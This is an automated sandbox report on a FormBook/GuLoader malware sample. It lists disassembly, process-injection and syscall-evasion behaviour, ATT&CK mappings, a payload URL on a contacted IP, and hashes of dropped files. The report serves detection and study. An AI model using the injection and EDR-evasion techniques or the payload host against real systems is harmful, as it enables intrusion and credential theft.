Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793F247 mov eax, dword ptr fs:[00000030h]	3_2_3793F247
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794124C mov eax, dword ptr fs:[00000030h]	3_2_3794124C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794124C mov eax, dword ptr fs:[00000030h]	3_2_3794124C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794124C mov eax, dword ptr fs:[00000030h]	3_2_3794124C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794124C mov eax, dword ptr fs:[00000030h]	3_2_3794124C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793D270 mov eax, dword ptr fs:[00000030h]	3_2_3793D270
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3791327E mov eax, dword ptr fs:[00000030h]	3_2_3791327E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3791327E mov eax, dword ptr fs:[00000030h]	3_2_3791327E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3791327E mov eax, dword ptr fs:[00000030h]	3_2_3791327E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3791327E mov eax, dword ptr fs:[00000030h]	3_2_3791327E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3791327E mov eax, dword ptr fs:[00000030h]	3_2_3791327E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3791327E mov eax, dword ptr fs:[00000030h]	3_2_3791327E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787B273 mov eax, dword ptr fs:[00000030h]	3_2_3787B273
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787B273 mov eax, dword ptr fs:[00000030h]	3_2_3787B273
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787B273 mov eax, dword ptr fs:[00000030h]	3_2_3787B273
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37884180 mov eax, dword ptr fs:[00000030h]	3_2_37884180
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37884180 mov eax, dword ptr fs:[00000030h]	3_2_37884180
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37884180 mov eax, dword ptr fs:[00000030h]	3_2_37884180
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C1190 mov eax, dword ptr fs:[00000030h]	3_2_378C1190
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C1190 mov eax, dword ptr fs:[00000030h]	3_2_378C1190
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A9194 mov eax, dword ptr fs:[00000030h]	3_2_378A9194
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379551B6 mov eax, dword ptr fs:[00000030h]	3_2_379551B6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE1A4 mov eax, dword ptr fs:[00000030h]	3_2_378BE1A4
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378BE1A4 mov eax, dword ptr fs:[00000030h]	3_2_378BE1A4
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B41BB mov ecx, dword ptr fs:[00000030h]	3_2_378B41BB
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B41BB mov eax, dword ptr fs:[00000030h]	3_2_378B41BB
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B41BB mov eax, dword ptr fs:[00000030h]	3_2_378B41BB
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B31BE mov eax, dword ptr fs:[00000030h]	3_2_378B31BE
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B31BE mov eax, dword ptr fs:[00000030h]	3_2_378B31BE
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378901C0 mov eax, dword ptr fs:[00000030h]	3_2_378901C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378901C0 mov eax, dword ptr fs:[00000030h]	3_2_378901C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378951C0 mov eax, dword ptr fs:[00000030h]	3_2_378951C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378951C0 mov eax, dword ptr fs:[00000030h]	3_2_378951C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378951C0 mov eax, dword ptr fs:[00000030h]	3_2_378951C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378951C0 mov eax, dword ptr fs:[00000030h]	3_2_378951C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AB1E0 mov eax, dword ptr fs:[00000030h]	3_2_378AB1E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AB1E0 mov eax, dword ptr fs:[00000030h]	3_2_378AB1E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AB1E0 mov eax, dword ptr fs:[00000030h]	3_2_378AB1E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AB1E0 mov eax, dword ptr fs:[00000030h]	3_2_378AB1E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AB1E0 mov eax, dword ptr fs:[00000030h]	3_2_378AB1E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AB1E0 mov eax, dword ptr fs:[00000030h]	3_2_378AB1E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AB1E0 mov eax, dword ptr fs:[00000030h]	3_2_378AB1E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788A1E3 mov eax, dword ptr fs:[00000030h]	3_2_3788A1E3
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788A1E3 mov eax, dword ptr fs:[00000030h]	3_2_3788A1E3
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788A1E3 mov eax, dword ptr fs:[00000030h]	3_2_3788A1E3
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788A1E3 mov eax, dword ptr fs:[00000030h]	3_2_3788A1E3
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788A1E3 mov eax, dword ptr fs:[00000030h]	3_2_3788A1E3
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378781EB mov eax, dword ptr fs:[00000030h]	3_2_378781EB
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378891E5 mov eax, dword ptr fs:[00000030h]	3_2_378891E5
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378891E5 mov eax, dword ptr fs:[00000030h]	3_2_378891E5
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378791F0 mov eax, dword ptr fs:[00000030h]	3_2_378791F0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378791F0 mov eax, dword ptr fs:[00000030h]	3_2_378791F0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378901F1 mov eax, dword ptr fs:[00000030h]	3_2_378901F1
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378901F1 mov eax, dword ptr fs:[00000030h]	3_2_378901F1
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378901F1 mov eax, dword ptr fs:[00000030h]	3_2_378901F1
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379481EE mov eax, dword ptr fs:[00000030h]	3_2_379481EE
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379481EE mov eax, dword ptr fs:[00000030h]	3_2_379481EE
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AF1F0 mov eax, dword ptr fs:[00000030h]	3_2_378AF1F0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AF1F0 mov eax, dword ptr fs:[00000030h]	3_2_378AF1F0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A510F mov eax, dword ptr fs:[00000030h]	3_2_378A510F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A510F mov eax, dword ptr fs:[00000030h]	3_2_378A510F
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A510F mov eax, dword ptr fs:[00000030h]	3_2_378A510F

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtResumeThread: Direct from: 0x4CD4591	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtProtectVirtualMemory: Direct from: 0x4CDC0DA	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x4CD435F	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	NtClose: Indirect: 0x3758F685
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtTerminateThread: Direct from: 0x7FFD926A2651	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	NtSuspendThread: Indirect: 0x37593AF9	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	NtResumeThread: Indirect: 0x37593E19	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	NtQueueApcThread: Indirect: 0x3758F5F7	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	NtSetContextThread: Indirect: 0x375937D9	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Section loaded: NULL target: C:\Windows\SysWOW64\powercfg.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Thread register set: target process: 6388			Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Thread register set: target process: 6388			Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Thread APC queued: target process: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Jump to behavior

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Process created: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe "C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe"			Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"			Jump to behavior

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Code function: 0_2_00405D58 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405D58

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 00000006.00000002.792566222705.0000000003490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.792566135956.0000000003440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.790967809533.00000000375B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 00000006.00000002.792566222705.0000000003490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.792566135956.0000000003440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.790967809533.00000000375B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	311 Process Injection	11 Masquerading	OS Credential Dumping	12 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	311 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Ricowell Ind New INQ.bat.exe	11%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://nsis.sf.net/NSIS_ErrorError	0%	Avira URL Cloud	safe
http://64.188.18.75/oECYTcEKrYkcbcNjwFV1.bin	0%	Avira URL Cloud	safe
http://nsis.sf.net/NSIS_Error	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://64.188.18.75/oECYTcEKrYkcbcNjwFV1.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nsis.sf.net/NSIS_Error	Ricowell Ind New INQ.bat.exe, Ricowell Ind New INQ.bat.exe, 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Ricowell Ind New INQ.bat.exe, 00000000.00000000.789929379223.0000000000409000.00000008.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Ricowell Ind New INQ.bat.exe, 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Ricowell Ind New INQ.bat.exe, 00000000.00000000.789929379223.0000000000409000.00000008.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
64.188.18.75	unknown	United States		8100	ASN-QUADRANET-GLOBALUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1510343
Start date and time:	2024-09-12 21:12:33 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 17m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2021, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ricowell Ind New INQ.bat.exe
Detection:	MAL
Classification:	mal88.troj.evad.winEXE@5/14@0/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 89% Number of executed functions: 62 Number of non-executed functions: 297
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): self.events.data.microsoft.com, ctldl.windowsupdate.com, nexusrules.officeapps.live.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Ricowell Ind New INQ.bat.exe

Simulations

Behavior and APIs

Time	Type	Description
15:16:53	API Interceptor	9831612x Sleep call for process: powercfg.exe modified
15:19:51	API Interceptor	19x Sleep call for process: explorer.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-QUADRANET-GLOBALUS	ORDER.exe	Get hash	malicious	FormBook, GuLoader	Browse	107.150.19.141
	jMMTZcFBa8.elf	Get hash	malicious	Mirai, Okiru	Browse	155.94.232.241
	S5RSIJ1pA1.exe	Get hash	malicious	RedLine	Browse	194.49.68.19
	GLP3VibiyA.exe	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	64.188.9.175
	fYHJsEQSv0.exe	Get hash	malicious	Remcos	Browse	162.218.211.203
	XQmV6MKs53.exe	Get hash	malicious	Remcos	Browse	162.218.211.203
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.4528.19655.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	204.44.124.137
	Bill of Lading.xls	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	204.44.124.137
	SecuriteInfo.com.Linux.Siggen.9999.8352.26322.elf	Get hash	malicious	Mirai	Browse	172.93.183.162
	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	104.129.59.5

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll	Setup_x86.exe	Get hash	malicious	Unknown	Browse
	ORDER.exe	Get hash	malicious	FormBook, GuLoader	Browse
	ORDER.exe	Get hash	malicious	Unknown	Browse
	ulACwpUCSU.exe	Get hash	malicious	FormBook, GuLoader	Browse
	fJuwM4Bwi7.exe	Get hash	malicious	FormBook, GuLoader	Browse
	ulACwpUCSU.exe	Get hash	malicious	GuLoader	Browse
	fJuwM4Bwi7.exe	Get hash	malicious	GuLoader	Browse
	Factura 02297-23042024.exe	Get hash	malicious	FormBook, GuLoader	Browse
	anebilledes.exe	Get hash	malicious	FormBook, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\Commissionary.Und

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	little endian ispell hash file (?), and 3598 string characters
Category:	dropped
Size (bytes):	140670
Entropy (8bit):	4.601584331134234
Encrypted:	false
SSDEEP:	1536:rab6UPGJZVm9X6EJzF2pn6dLmfjHExkT/KvWISNuBPuY3qafdxBR93xX:rSPGXVg6Q524xGIxk+tBPuNYBRT
MD5:	61E86D5C4A9BA6D4BC24C373D44393F6
SHA1:	E741F4F9863BA09996ABD4BD313954C11E73A68E
SHA-256:	B45B506E1827D6C57496FDEA9F37D09EC3CDC865B6E89E74577C738C04D19169
SHA-512:	84431E29D2480E1CDC664D8FE5A7F32525A9CB2439F05BD3D765DD4AFE96E70739EC6479F7999489AF170B8405C788D314C586C294221D193B009A5FC17EB172
Malicious:	false
Reputation:	low
Preview:	.......iii.dd.i.....iii.......VV...........O..;;.........................]].....u.bb.ii..w.A..........t..............LLL....................jj.....ppp.....cc.^.................i..........................................88....www.......[........f.......................................................................................+++...................C..b.......PP.---..R............;;;;....6.......$.................,.....o...W..{.W.\...............tt.............K.aa........^...........sss..[[[[[..x....................x.4........3.,,.......ZZ.............jj....................E............!!..//////............`....[[....................ddd....___....y..................~....!!.............................M..,,..........t.................bbb.....U....................."""............OOOOO............RR.>>>..9.......;.....X.......E.._.......................FF.hh.......##..Z..vv.......''............rr.....K.........??...{.......\|.PP......................%......JJJJJJJ..)).aaaaa...........

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\Praksissernes.kra

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	70089
Entropy (8bit):	1.2513184695627344
Encrypted:	false
SSDEEP:	384:lvTTNGT9BZiwMEYhyzAd97w8/LgInf+mLOcPI5fVOv5NxF1FOn4Y0ZNvh5OHgG:lTNWFTMEYYE72InTCuKQ7FOnQv/OAG
MD5:	D8E80CDEDAE3E054BA1D69902A2CA6D4
SHA1:	B53C03824D1EDE6681868FF46E00E42D5E7A046F
SHA-256:	F5C68DAB62BFF1B4F551D1128A5A7ABD4C4B337C1CDA41F3397C22E8E10F019C
SHA-512:	D1830FA22A6E13BF580D118B14F602520909886DE720B38BA592F427D0553735E981CFA05A2366DAEF86735B6F83C2BD217AF44B12E5826B74C78E25E9F62295
Malicious:	false
Reputation:	low
Preview:	......p.................n...X....................d..........................*............................................................................M............[...........~...............................d....39...................................................................................................................................................................................................................................}.............X........................................................................................q...............................................^.................O....................................................................................Z...........................'................................................................4.........................................................o...[............................................m...............0......................X....0.........................................................

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\Stewart.Min

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	433347
Entropy (8bit):	7.045313421294136
Encrypted:	false
SSDEEP:	12288:QUPu0XwaiQjRS4VmoXukj9VXSRLKU8qV4:LPtCQ9VmgucrSRO7qV4
MD5:	AB410022AA79704761696EDECD82F64C
SHA1:	93E3C5004A4DEC20EEC79A9C8175052C305866EE
SHA-256:	DAA5834F7AE3A698960BF0CCCE998A3B829982921D05140D53F1A6100E3F28E0
SHA-512:	7A86A1B7D8D2541577ACBF11EE1F8FFD8F62288EE407B5DE32D46308C8394F9C9A96A5C37FFAA7882995F4DB1E2CBE9823785AF63AC3CBE36FB6968B28628678
Malicious:	false
Reputation:	low
Preview:	......LLLLL..................................................................................rr................p.=.......PP.f.......................c......................c..........!!....?....................t........................77..XX......................OO......g...A....FFFF..FF........\|\|...........""..............--...............J...............#.]..h......^......<<<<.....h....8..................NN...........@@..........._...............................p.....................................................m........```..........z............................6....................I........................... ........##......CCC.....d....................__....JJJ....................z...WW................ZZ.R.......}}........??.....TT.=........b......d..).......................jj......---.>.'.....EEEEE............``......6.....)...................................\|........R.....**...f...)))...................7....!...............d...........VVV..........b...o....^...............UUU.

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\dev.med

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	FoxPro FPT, blocks size 88, next free block index 170, field type 0
Category:	dropped
Size (bytes):	316850
Entropy (8bit):	1.2494344843876144
Encrypted:	false
SSDEEP:	768:UI1y6B1e+17bZEPl0Rnof0brVBSd/oyoTbFlbQ/BZ97yVOTLjv13Y5vx70El7oAN:ra0Xi31pavVKOa4fVlj
MD5:	5D01D49C1498EC6723D7F194D210DDEB
SHA1:	283514D6E17F8552A70B4B0DFB419D77FA0AE033
SHA-256:	6D1337BE2B7C1C17CA7BE7B75518902C618F904923FE3FFBDF4F519DB6BB2BB8
SHA-512:	286727E8962A8339E4527BFAE8B5879FF2A319C6DA090EB8130FBBB94C0C51AA0931CBCDCFC8D0B63D1DC3F30271AC193FE78C809D3F6A8B0648EB2228FEAF4D
Malicious:	false
Preview:	.......X.........................J....q..................o....................................................n..............................{....5.p..V.........GV.........c........$..................................R...e.....E....................3..u...................%.....................+.......T.............z......................................`..............v....................................0................Y............................................................................................................................................................................W.........................D..................c.......................$...............N................f............... ...........R........ ....................y..............g......................P...............................................................................V.......t..............J.se...L.........................................\.........,.w.......................................D..

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\hverdagsagtiges.afh

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	291479
Entropy (8bit):	1.2623895916251218
Encrypted:	false
SSDEEP:	768:I4aF3mt3WBkVYqYZkjVzW72s6Y1rHtslWyNS652rpnfdK4xlkidjdUgxuZHUKiji:+8WZqVPshpX7P/77Lm7X7
MD5:	2DAE10B8A993D301D5B30447CD554D49
SHA1:	C0E795B9EBEA6ABAE51A0A56B377BDCE7A52CCF2
SHA-256:	991EFFB618E7714390252B543789A0B6FE9E2650BD0F5049164DA51717031F51
SHA-512:	738EE8FC2733644DD773F975075895D5D32AE2F5220A885F07F50873EA2D8FBD2E4DD9400647DF0A11E26B1489CE7391D692874D5E998E1979005D80A2790683
Malicious:	false
Preview:	..................Y......................H...............Z..B............................!...................b..D........................................n...........{..........................9...............................................u..........................................................................................I.........T...............U.............&..............R.....................................................................................y..................F.....Z.....&................................................B.......L.............%...U.......;..........................I..................................._.......D....t........g.....................#.................n..a......................................M......i.....................Z..............................................{..................................................................................#....h.....U.............?.G..............L...........................................

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\stenhuggeriernes.txt

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	527
Entropy (8bit):	4.275388286900901
Encrypted:	false
SSDEEP:	12:sfiS0lw/iN/QGXqpBqt1J5WgR+FofZRVoENhEWJv:sfi3G/iRuLqzGe+FGoENhEqv
MD5:	E22011A429D7D0729AA1A0B9CADAC17A
SHA1:	793AE0FACF787AD29AA11A91EBFA079616EC1F10
SHA-256:	5B857AAE7EEA7961E5571C1E7FA394E6B98C833E74E106C960BBD4D0564AC87B
SHA-512:	32E762E9309D70F33F6B0537D55629C437D380EF2C5849A1187F4219D53075E0D6C3DF93DF500EA3F3CB5E07E0CBA85165002671362AF5500DD569C3CEB417CE
Malicious:	false
Preview:	vilkaarligheden primaternes somewhere reformistiskes pseudoscientifically aggraverende ascidian tidsindstillet udvekslingsformaters porker igjen daddels..recoagulate submucronated cupular miasm mikrofon butterdejssnitter boreholes scrunger lafite childbirth samfundsvidenskaber..coabode archaeolater prisoning,taurean terminalknudes raisons trindadiske kardinaliteter fakkeltogene necessitarianism.altsaxofoner coliseum overdosage forbindelsesofficer reuphold ndlidendes amant,gldesfesternes spejlblankt toastable urol puffwig,

C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.779474184733856
Encrypted:	false
SSDEEP:	96:zPDYcJ+nx4vVp76JX7zBlkCg21Fxz4THxtrqw1at0JgwLEjo+OB3yUVCdl/wNj+y:zPtkuWJX7zB3kGwfy0nyUVsxCjOM61u
